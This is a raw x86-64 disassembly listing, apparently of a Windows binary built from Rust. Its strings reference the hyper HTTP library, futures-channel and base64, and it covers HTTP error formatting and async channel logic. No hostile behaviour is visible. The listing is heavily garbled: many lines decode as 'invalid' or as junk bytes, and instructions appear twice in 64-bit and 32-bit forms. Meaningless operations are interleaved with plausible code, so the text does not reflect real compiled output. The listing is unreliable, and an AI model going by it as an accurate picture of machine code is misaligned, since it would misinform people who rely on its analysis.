mov ecx, 8
mov edx, 8
call fcn.1401082c0
mov ecx, 8
mov edx, 0x28
add byte [rax], al
add byte [rax], al
call fcn.1401082c0
int3
and byte [rax - 0x75], cl
add dword [rcx + 0x3e183c1], ecx
cmp ecx, 1
jne 0x140035e13
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140035df9
jnp 0x140035de1
add byte [rbp + rbx + 0x48], dh
cmp dword [rbx + 0x10], 0x11
cmp qword [rbx + 0x10], 0x11
jb 0x140035de7
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
mov eax, edi
ror byte [rcx - 0x77], cl
clc
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
push rdi
push rbx
sub rsp, 0x70
mov rsi, rdx
mov rdi, rcx
mov r15, qword [rcx + 8]
mov rcx, qword [rdx]
mov edx, 1
xor eax, eax
lock cmpxchg qword [r15 + 0x28], rdx
cmp rax, 2
cmp eax, 2
je 0x140035e80
test rax, rax
jne 0x140035ee5
mov rdx, qword [r15 + 0x18]
mov rax, qword [rcx]
test rdx, rdx
je 0x140035e8d
mov rcx, qword [rcx + 8]
cmp qword [r15 + 0x20], rcx
jne 0x140035e91
and byte [rbp + 0x27], dh
cmp rdx, rax
jne 0x140035e91
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r15 + 0x28], rcx
jne 0x140035ec0
jmp 0x140035ee5
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
mov ecx, dword [rcx + 8]
add rax, 0x10
jmp 0x140035ee3
mov rcx, qword [rcx + 8]
call qword [rax]
mov rbx, rax
mov r14, rdx
mov rax, qword [r15 + 0x18]
test rax, rax
je 0x140035ea9
mov rcx, qword [r15 + 0x20]
call qword [rax + 0x18]
mov qword [r15 + 0x18], rbx
mov qword [r15 + 0x20], r14
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r15 + 0x28], rcx
je 0x140035ee5
mov rax, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x20]
mov qword [r15 + 0x18], 0
test rax, rax
je 0x140035fc8
xor edx, edx
xchg qword [r15 + 0x28], rdx
add rax, 8
call qword [rax]
mov rax, qword [r15 + 0x10]
test rax, rax
je 0x140035f10
cmp rax, 1
je 0x140035f3e
cmp rax, 2
jne 0x140035f6b
cmp byte [rdi + 0x20], 2
je 0x140035f10
add rdi, 0x10
mov rax, qword [rdi]
mov rax, qword [rax + 0x38]
test rax, rax
js 0x140035f4a
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140035f5c
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
add dh, al
sub dword [rdx], eax
mov byte [rax + 0x30], 5
xor eax, eax
jmp 0x140035f3e
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, rdi
mov rdx, rsi
call fcn.140035fe0
movzx eax, al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
xor edx, edx
jmp 0x140035f3e
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x30], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x38], rax
lea rax, str.internal_error:_entered_unreachable_code:_want_rx_value:
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
and al, 0x48
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, [0x14012c118]
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rcx, [0x1401162b0]
call fcn.140108970
int3
mov r15, qword [rcx + 8]
lea rsi, [r15 + 0x10]
mov r8b, 1
xor eax, eax
lock cmpxchg byte [r15 + 0x10], r8b
jne 0x1400360eb
fadd qword [rax]
add byte [rax], al
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140036112
xor edi, edi
movzx eax, byte [r15 + 0x11]
test al, al
jne 0x140036136
test dword [0x181036033], eax
cmp byte [rdi + 0x28], 0
cmp byte [r15 + 0x28], 0
setne bpl
je 0x140036098
test rdx, rdx
je 0x1400360d7
mov rax, qword [rdx]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov rbx, rax
mov r14, rdx
mov rax, qword [r15 + 0x18]
test rax, rax
je 0x140036067
or dil, dil
adc cl, byte [rax - 0x77]
ret
mov rcx, qword [r15 + 0x20]
call qword [rax + 0x18]
mov qword [r15 + 0x18], rbx
mov qword [r15 + 0x20], r14
test dil, dil
jne 0x140036087
and byte [rax - 0x7c], al
push qword [rbp + 0x13]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140036169
xor ecx, ecx
xchg byte [rsi], cl
mov al, 1
cmp cl, 2
je 0x1400360bf
add dh, byte [rbp + rbp - 0x15]
xor eax, eax
jmp 0x1400360ca
jmp 0x1400360ca
mov byte [rcx + 0x10], 0
test dil, dil
jne 0x1400360b4
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140036180
int3
xor eax, eax
xor ecx, ecx
xchg byte [rsi], cl
cmp cl, 2
jne 0x1400360ca
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov eax, ebp
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
xor ebx, ebx
mov rax, qword [r15 + 0x18]
test rax, rax
jne 0x140036060
jmp 0x140036067
invalid
mov rdi, rcx
mov rcx, rsi
mov rbx, rdx
call fcn.140110530
mov rcx, rdi
mov rdx, rbx
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140036022
mov rdi, rdx
mov rbx, rcx
call fcn.1401105f0
mov rcx, rbx
mov rdx, rdi
mov edi, eax
xor dil, 1
movzx eax, byte [r15 + 0x11]
movzx eax, byte [rdi + 0x11]
movzx eax, byte [rdi + 0x11]
test al, al
je 0x140036031
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x28], esi
mov byte [rsp + 0x30], dil
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
adc byte [rax], 0
adc byte [rax], 0
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
adc eax, dword [rax]
adc eax, dword [rax]
lea r9, [0x14012b718]
lea r8, [rsp + 0x28]
sub byte [rdx + 0x2b], bh
sub byte [rdx + 0x2b], bh
call fcn.1401088e0
call fcn.1401105f0
test al, al
movsb byte [rdi], byte [rsi]
or eax, 0xfc08400
test dword [rcx], edx
invalid
jne 0x140036087
mov byte [r15 + 0x11], 1
jmp 0x140036087
call fcn.1401105f0
test al, al
jne 0x1400360b4
invalid
invalid
invalid
ror byte [rdi], 0x85
invalid
invalid
mov byte [r15 + 0x11], 1
jmp 0x1400360b4
invalid
invalid
invalid
invalid
sbb eax, 0xccffffff
int3
int3
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rdi, r8
mov edi, eax
mov edi, eax
mov rsi, rcx
cmp byte [rdx + 0x10], 2
jne 0x1400361ce
invalid
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
adc byte [rdi], cl
adc dword [rsi + 0x10], ecx
adc byte [rdi], cl
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
mov dil, 1
jmp 0x140036395
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
ror dword [rax - 0x77], cl
sal dword [rcx], 1
shr al, cl
add eax, 0x84fffffe
sal byte [rbp + rdx + 0xf], 0x10
invalid
mov rbx, rdx
mov rcx, rdx
xor edx, edx
call fcn.140035fe0
test al, al
je 0x1400361f4
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
xor edi, edi
jmp 0x140036395
mov rcx, qword [rbx]
mov rax, qword [rcx + 0x38]
movabs rdx, 0x7fffffffffffffff
movabs r8, 0x8000000000000000
nop
test rax, rax
jns 0x1400361b8
mov r9, rax
and r9, rdx
cmp r9, rdx
je 0x140036423
lea r10, [rax + 1]
or r10, r8
lock cmpxchg qword [rcx + 0x38], r10
jne 0x140036210
mov r14, qword [rbx]
cmp r9, qword [r14 + 0x30]
jb 0x140036314
mov r15, qword [rbx + 8]
lea r14, [r15 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r15 + 0x10], cl
jne 0x1400363a6
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400363c1
xor ebp, ebp
movzx eax, byte [r15 + 0x11]
test al, al
jne 0x1400363d9
mov rax, qword [r15 + 0x18]
test rax, rax
je 0x14003628a
mov rcx, qword [r15 + 0x20]
call qword [rax + 0x18]
mov qword [r15 + 0x18], 0
mov byte [r15 + 0x28], 1
test bpl, bpl
jne 0x1400362af
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14003640c
xor eax, eax
xchg byte [r14], al
cmp al, 2
jne 0x1400362c1
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r14, qword [rbx + 8]
lock inc qword [r14]
jle 0x14003644a
mov r15, qword [rbx]
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14003644c
mov qword [rax], 0
mov qword [rax + 8], r14
mov rcx, rax
xchg qword [r15 + 0x20], rcx
mov qword [rcx], rax
mov rax, qword [rbx]
mov rax, qword [rax + 0x38]
shr rax, 0x3f
mov byte [rbx + 0x10], al
mov r14, qword [rbx]
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14003643b
mov qword [rax], 1
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
mov qword [rax + 0x28], 0
mov rcx, rax
xchg qword [r14 + 0x10], rcx
mov qword [rcx + 0x28], rax
mov rax, qword [r14 + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r14 + 0x58], rcx
jne 0x140036360
mov dil, 2
test rax, rax
jne 0x140036395
mov rax, qword [r14 + 0x48]
mov rcx, qword [r14 + 0x50]
mov qword [r14 + 0x48], 0
lock and qword [r14 + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x140036395
call qword [rax + 8]
mov byte [rsi + 0x20], dil
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, r14
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14003626b
call fcn.1401105f0
mov ebp, eax
xor bpl, 1
movzx eax, byte [r15 + 0x11]
test al, al
je 0x14003627a
mov qword [rsp + 0x28], r14
mov byte [rsp + 0x30], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14012b718]
lea r8, [rsp + 0x28]
mov edx, 0x2b
call fcn.1401088e0
call fcn.1401105f0
test al, al
jne 0x1400362af
mov byte [r15 + 0x11], 1
jmp 0x1400362af
lea rcx, str.buffer_space_exhausted__sending_this_messages_would_overflow_the_state
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov edx, 0x46
call fcn.140109a30
invalid
invalid
invalid
xor eax, 0x8b9000d
add byte [rax], al
add byte [rdx + 0x30], bh
mov edx, 0x30
mov ecx, 8
mov edx, 0x30
call fcn.1401082c0
ud2
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
int3
lea edx, [0x14012c4d4]
mov r8d, 0xc
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
je 0x1400364ac
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
push rax
sbb byte [rax - 0x77], cl
je 0x1400364ac
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
and al, 0x20
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x31], 0
mov rsi, qword [rdi]
mov esi, dword [rdi]
mov esi, dword [rdi]
lea rdx, [rsi + 0x30]
lea r8, [0x14012c4e0]
lea rcx, [rsp + 0x20]
and al, 0x20
call fcn.140016570
cmp qword [rsi], 0
invalid
je 0x1400364cd
add byte [rsp + rdx + 0x4c], dh
lea eax, [0x14012c500]
lea r8, [0x14012c500]
lea rcx, [rsp + 0x20]
and al, 0x20
mov rdx, rsi
call fcn.140016570
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140036534
mov al, 1
test dl, dl
jne 0x140036536
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
cmp ecx, 1
cmp ecx, 1
jne 0x14003651a
cmp byte [rsp + 0x31], 0
je 0x14003651a
and al, 0x31
add byte [rsi + riz - 0xa], dh
xor al, 4
test byte [rsi + 0x34], 4
jne 0x14003651a
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
ja 0x1400364ed
adc byte [rax], al
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x10e677
ja 0x1400364ed
adc byte [rax], al
ja 0x1400364ed
adc byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140036536
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
lea edx, [0x14014e078]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
lea edx, [0x14014e078]
lea edx, [0x14014e078]
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
jmp 0x140036536
mov eax, edx
test al, al
setne al
ror byte [rax - 0x7d], 0xc4
cmp byte [rdi + 0x5e], bl
ror byte [rdi], 0x95
ror byte [rax - 0x7d], 0xc4
cmp byte [rdi + 0x5e], bl
ret
int3
int3
push rdi
sub rsp, 0x28
mov rsi, qword [rcx]
mov rdi, qword [rcx + 8]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14003658d
cmp qword [rdi + 0x10], 0x11
jb 0x140036574
jg 0x14003657d
adc dword [rdx + 4], esi
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
int 0xd
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
pop rdi
pop rsi
ret
int3
push rsi
sub rsp, 0x40
movzx eax, byte [rcx]
movzx eax, byte [rcx]
lea r8, [0x1401779e0]
adc al, 0
movsxd rax, dword [r8 + rax*4]
add al, 0x80
add rax, r8
jmp rax
inc rcx
mov qword [rsp + 0x38], rcx
and al, 0x38
and al, 0x38
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, str.Parse
push rcx
pop rdi
sldt word [rcx - 0x48]
add eax, 0x48000000
mov esi, edx
push rcx
pop rdi
sldt word [rcx - 0x48]
add eax, 0x48000000
mov esi, edx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
and al, 0x28
and al, 0x28
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
add byte [rax], al
invalid
add byte [rax], al
add dh, al
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
sub ebx, dword [rdi + 0xf]
add cl, ch
test byte [rax], 0
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.Http2Idle
lea edx, str.Http2Idle
add byte [rax], al
mov byte [rsp + 0x31], 0
lea r8, [0x14012c528]
jmp 0x1400366f8
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.Http2Idle
lea edx, str.Http2Idle
lea edx, str.Http2Idle
mov r8d, 5
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c58a]
jmp 0x1400367d2
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c5a6]
lea edx, [0x14012c5a6]
lea edx, [0x14012c5a6]
mov r8d, 9
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.IncompleteMessageUnexpectedMessageCanceledChannelClosedConnectBodyWriteShutdownMethodVersionVersionH2UriUriTooLongHeader
jmp 0x140036684
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c579]
lea edx, [0x14012c579]
lea edx, [0x14012c579]
mov r8d, 0x11
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c59f]
lea edx, [0x14012c59f]
lea edx, [0x14012c59f]
mov r8d, 7
add rsp, 0x40
pop rsi
jmp rax
inc rcx
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, str.User
mov r8d, 4
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x14012c548]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016570
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140036801
mov al, 1
test dl, dl
jne 0x140036803
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x140036760
cmp byte [rsp + 0x31], 0
je 0x140036760
test byte [rsi + 0x34], 4
jne 0x140036760
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140036803
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
lea edx, [0x14014e078]
lea edx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140036803
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c592]
lea edx, [0x14012c592]
lea edx, [0x14012c592]
mov r8d, 0xd
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140140210]
lea edx, [0x140140210]
lea edx, [0x140140210]
mov r8d, 2
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c5af]
lea edx, [0x14012c5af]
lea edx, [0x14012c5af]
mov r8d, 8
or byte [rax], al
add byte [rax], al
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.BodyKeepAliveEndStreamScheduledLibraryResetReservedLocalReservedRemotelocalremoteHalfClosedLocalHalfClosedRemoteNotEofWriter_must_be_presentC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcwriteencoder.rs
mov r8d, 4
add rsp, 0x40
pop rsi
jmp rax
mov eax, edx
test al, al
setne al
add rsp, 0x40
add esp, 0x40
pop rsi
pop rsi
ret
lea rcx, [0x140174b00]
mov r8, qword [rcx + rax*8]
lea rcx, str.BodyKeepAliveEndStreamScheduledLibraryResetReservedLocalReservedRemotelocalremoteHalfClosedLocalHalfClosedRemoteNotEofWriter_must_be_presentC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcwriteencoder.rs
or eax, 0x13e320
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
invalid
invalid
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
loope 0x14003680b
int3
sub esp, 0x40
mov rax, qword [rcx]
in al, dx
mov rax, qword [rcx]
movzx ecx, byte [rax]
add cl, 0xfd
cmp cl, 9
movzx ecx, cl
or byte [rax - 0x67f023f], al
or dword [rdi], ecx
mov dh, 0xc9
mov r8d, 5
cmovb r8d, ecx
movzx ecx, r8b
lea r8, [0x140177a10]
add eax, 0x1411a7
add byte [rax], al
add byte [rdi + rcx + 0x42], al
rol dword [rcx + 0xf], 0xb6
enter 0xffffffffffff8d4c, 5
add eax, 0x1411a7
add eax, 0x1411a7
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c5b7]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xf5d32
lea edx, [0x14012c5b7]
verw bx
jbe 0x1400368d0
invalid
jmp 0x1400368fd
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x14012c5d0]
mov r8d, 0xa
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x40
pop rsi
jmp rax
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c5c4]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xf5d09
invalid
or dword [rbp + 0xf], ebx
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
mov r8d, 9
add rsp, 0x40
pop rsi
jmp rax
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xf5cf1
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c5cd]
invalid
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
mov r8d, 3
add rsp, 0x40
pop rsi
jmp rax
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401433a7]
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 6
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c5bd]
mov r8d, 7
add rsp, 0x40
pop rsi
jmp rax
mov qword [rsp + 0x38], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14012c5da]
mov r8d, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x14012c5e0]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016570
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140036a22
mov al, 1
test dl, dl
jne 0x140036a24
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x1400369d2
cmp byte [rsp + 0x31], 0
xor dword [rax], eax
je 0x1400369d2
test byte [rsi + 0x34], 4
jne 0x1400369d2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
adc eax, 0x10e1bf
adc eax, 0x10e1bf
mov edi, 0x410010e1
mov eax, 1
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140036a24
push rdx
push rdx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140036a24
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.TooLargeInternalTokenContentLengthInvalidTransferEncodingUnexpectedBodyWriteAbortedServiceUnsupportedVersionUnsupportedRequestMethodAbsoluteUriRequiredNoUpgradeManualUpgradeDispatchGone
jmp 0x140036a14
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012c608]
mov r8d, 8
add rsp, 0x40
pop rsi
jmp rax
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ret
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 0xa
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
test eax, eax
test eax, eax
je case.0x140036870.30
mov qword [rax], rsi
mov qword [rdi], rax
lea rax, [0x14012b520]
mov qword [rdi + 8], rax
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
ret
add byte [rax], al
add byte [rdx + 0x38], bh
add al, ch
jb 0x14003705e
call fcn.1401082c0
or eax, 0x8b900
add byte [rax], al
mov ecx, 8
add byte [rax], al
add byte [rdx + 8], bh
add byte [rax], al
invalid
mov edx, 8
add byte [rax], al
add al, ch
invalid
call fcn.1401082c0
int3
or eax, 0xcccccc00
int3
xor byte [r8 - 0x73], cl
adc eax, 0x1409c9
or dword [rax + rax], edx
or dword [rax + rax], edx
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov dh, 0x41
xor dword [rbp - 0x67f02b8], ecx
stc
stc
or dword [rdi], ecx
mov dh, 0xc9
mov edx, 5
cmovb edx, ecx
add eax, 0xf000000
add byte [rdi], cl
ror dword [rdi], 1
mov dh, 0xca
movzx ecx, dl
lea rdx, [0x140177a64]
ror dword [rcx], 1
adc al, 0
add byte [rax + 0x63], cl
or al, 0x8a
invalid
movsxd rcx, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
invalid
add rcx, rdx
jmp rcx
lea rax, str.invalid_HTTP_method_parsedinvalid_HTTP_version_parsedinvalid_HTTP_version_parsed__found_HTTP2_preface_invalid_URIURI_too_longinvalid_HTTP_header_parsedinvalid_content_length_parsedunexpected_transfer_encoding_parsedmessage_head_is_too_largeinvalid_HTTP_status_code_parsedinternal_error_inside_Hyper_and_or_its_dependencies__please_reporterror_from_users_HttpBody_streamuser_body_write_abortederror_from_users_Servicerequest_has_unsupported_HTTP_versionrequest_has_unsupported_HTTP_methodclient_requires_absolute_form_URIsno_upgrade_availableupgrade_expected_but_low_level_API_in_usedispatch_task_is_goneconnection_closed_before_message_completedreceived_unexpected_message_from_connectionoperation_was_canceledchannel_closederror_trying_to_connecterror_reading_a_body_from_connectionerror_writing_a_body_to_connectionerror_shutting_down_connectionhttp2_errorhyper::Error
lea eax, str.invalid_HTTP_method_parsedinvalid_HTTP_version_parsedinvalid_HTTP_version_parsed__found_HTTP2_preface_invalid_URIURI_too_longinvalid_HTTP_header_parsedinvalid_content_length_parsedunexpected_transfer_encoding_parsedmessage_head_is_too_largeinvalid_HTTP_status_code_parsedinternal_error_inside_Hyper_and_or_its_dependencies__please_reporterror_from_users_HttpBody_streamuser_body_write_abortederror_from_users_Servicerequest_has_unsupported_HTTP_versionrequest_has_unsupported_HTTP_methodclient_requires_absolute_form_URIsno_upgrade_availableupgrade_expected_but_low_level_API_in_usedispatch_task_is_goneconnection_closed_before_message_completedreceived_unexpected_message_from_connectionoperation_was_canceledchannel_closederror_trying_to_connecterror_reading_a_body_from_connectionerror_writing_a_body_to_connectionerror_shutting_down_connectionhttp2_errorhyper::Error
invalid
mov edx, 0x1a
ret
lea eax, [0x14012c4c9]
sbb dword [rdi + rcx], edx
invalid
mov edx, 0xb
ret
lea eax, [0x14012c42a]
insd dword [rdi], dx
push rbx
invalid
mov edx, 0x16
invalid
ret
lea eax, [0x14012c489]
mov edi, 0xba000f53
invalid
mov edx, 0x22
and al, byte [rax]
add byte [rax], al
ret
lea eax, [0x14012c3d5]
invalid
invalid
mov edx, 0x2a
sub al, byte [rax]
add byte [rax], al
ret
invalid
sub eax, dword [rax]
